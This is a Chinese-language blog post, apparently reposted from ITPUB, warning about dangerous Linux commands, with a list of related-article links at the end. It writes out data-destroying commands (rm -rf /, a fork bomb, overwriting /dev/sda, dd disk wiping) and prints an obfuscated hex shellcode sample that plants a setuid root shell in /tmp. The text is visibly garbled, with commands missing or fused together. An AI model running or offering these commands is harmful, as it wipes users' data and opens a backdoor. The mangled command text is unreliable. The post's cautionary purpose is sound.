手殘也不該敲的命令
是一種很有趣且有用的東西,但在你不知道會帶來什麼後果的時候,它又會顯得非常危險。所以,在輸入某些 前,請多多檢查再敲回車。 |
rm –rf是刪除資料夾和裡面附帶內容的一種最快捷的方法,但是細微的錯誤或者語法認知不到位,就可能對系統造成不可恢復的破壞,下面給出一些案例:
rm 刪除linux下的檔案
rm -r 遞迴刪除資料夾,包括空資料夾
rm -f強制無條件刪除只讀檔案
rm -rf / : 強制無條件刪除root目錄下所有內容。
rm -rf * : 強制無條件刪除當前目錄下所有內容。
rm -rf . : 強制無條件刪除當前資料夾和子資料夾
綜上所述,在你執行rm –rf命令時千萬要小心,大家可以在.bashrc裡面新增:
aliasrm= 'rm -i'
這樣,在你下次刪除東西的時候,它會提醒你到底要刪啥。
這個命令其實是一種fork,它定義了一個叫“:”的函式,呼叫了自己兩次,一次是在前臺,一次是在後臺。關鍵是這樣的呼叫會無限迴圈,直到系統崩潰。
手賤的同學可以儘管在虛擬機器裡試試:
){ :|:&}; :任意命令 > /dev/sda
這個例子是講,我們執行了任意命令,並輸出到/dev/sda。這樣的話,/dev/sda 裡面的檔案會被命令輸出的內容全部替換掉,最後丟失掉其中原有的資料。
這個mv命令會把指定的資料夾移動到/dev/null。在linux下,/dev/null或null是一種特殊的檔案,它們會把寫入自身的資料全部丟棄,再返回操作成功的訊息。
# mv /home/user/* /dev/null
上面的命令會把/home/user/下面所有的內容,全部移動到/dev/null,這就是個無底的神坑。
這個命令可能會直接下載惡意的原始檔,然後使用sh直接執行該 。
上面的例子會格式化/dev/sda,在執行上面的命令後,你的硬碟驅動會被標記為新的。當然,這時系統是無法再恢復資料了.
這個命令可以用來刷掉原檔案裡的內容,如果你不小心打錯了字,輸入了諸如下面的命令:
> xt.conf
你係統配置檔案裡的內容可能就會因此被清理掉。
這樣利用^符號,透過上翻補全命令的方式,直接編輯之前執行過的命令。雖然你或許因此不用再輸入整條長命令,但其實這會很危險。
dd命令會擦掉/dev/sda下面的內容,然後寫入隨機的垃圾資料,最後你的系統會受到不可逆轉的破壞。
下面的命令相當於rm –rf,它會藏在十六進位制hex中。大家在不知情的情況下執行它,可能就會直接擦除掉整個root目錄:
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
這個故事告訴我們,致命的威脅在隱藏起來的時候,我們通常可能難以發現。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70029708/viewspace-2950296/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Movavi Photo Editor零失敗更改圖片背景教程,手殘黨也可以!
- 33歲轉行python,如果不是5歲兒子給我的鼓勵,可能幸福也不會來敲門了Python
- 曝光 vivo 手機 OriginOS 的腦殘設計
- 聽說你也想學 Composer----常見命令手冊
- 真香警告:即使不學 OS 進階,也請務必收藏好該文!
- 不會設計主圖也沒關係,不用自己動手排版也能設計!
- 這份Koa的簡易Router手敲指南請收下
- synchronized 到底該不該用?synchronized
- 手殘黨福音:不會摘隱形眼鏡?這個機器人可以幫你機器人
- 成為前端,你不該學的東西,以及不該做的事兒!前端
- 大家使用git是敲命令還是用GUI工具呢GitGUI
- 我不應該用JWT的!JWT
- 遷移學習:該做的和不該做的事遷移學習
- 在eclipse中執行maven命令沒有反應,console也不列印資訊EclipseMaven
- contributions該不該譯成“貢獻”?
- Zookeeper 的選舉機制也不過如此!
- Linux系統的命令應該如何記?Linux
- 你應該知道的16個linux命令Linux
- 一行一行手敲webpack4配置Web
- 順豐該不該開除刪庫的運維工程師?運維工程師
- 面對打差評的玩家,製作組該不該“認慫”?
- 不用 mv 命令也能移動檔案的方法
- 你也可以手寫自己的Promise(一)Promise
- 敲程式碼的開始
- 或許不該把《LOL手遊》與《王者榮耀》放到對立面了
- 30套酷炫視覺化大屏模板,不敲程式碼可直接套用,拿走不謝視覺化
- 這應該是你們想要的 DOS 命令
- 對於一款軟體而言,完備的功能固然重要,但互動體驗也不該被忽視
- 程式設計師該不該主動提加薪?程式設計師
- 敲擊碼
- oracle增加主鍵也不會了Oracle
- 方法到位,Linux也不難學會Linux
- Redux的State不應該全部放在Store裡Redux
- 簡單的單例模式其實也不簡單單例模式
- 資料量大也不卡的bi軟體有哪些?
- [提問交流]OneThink專案已殘,GIT上N久不更新了!Git
- Python爬蟲隨機UserAgent庫,讓你不再手動敲UA!Python爬蟲隨機
- linux系統中既沒有yum命令也沒有wget命令Linuxwget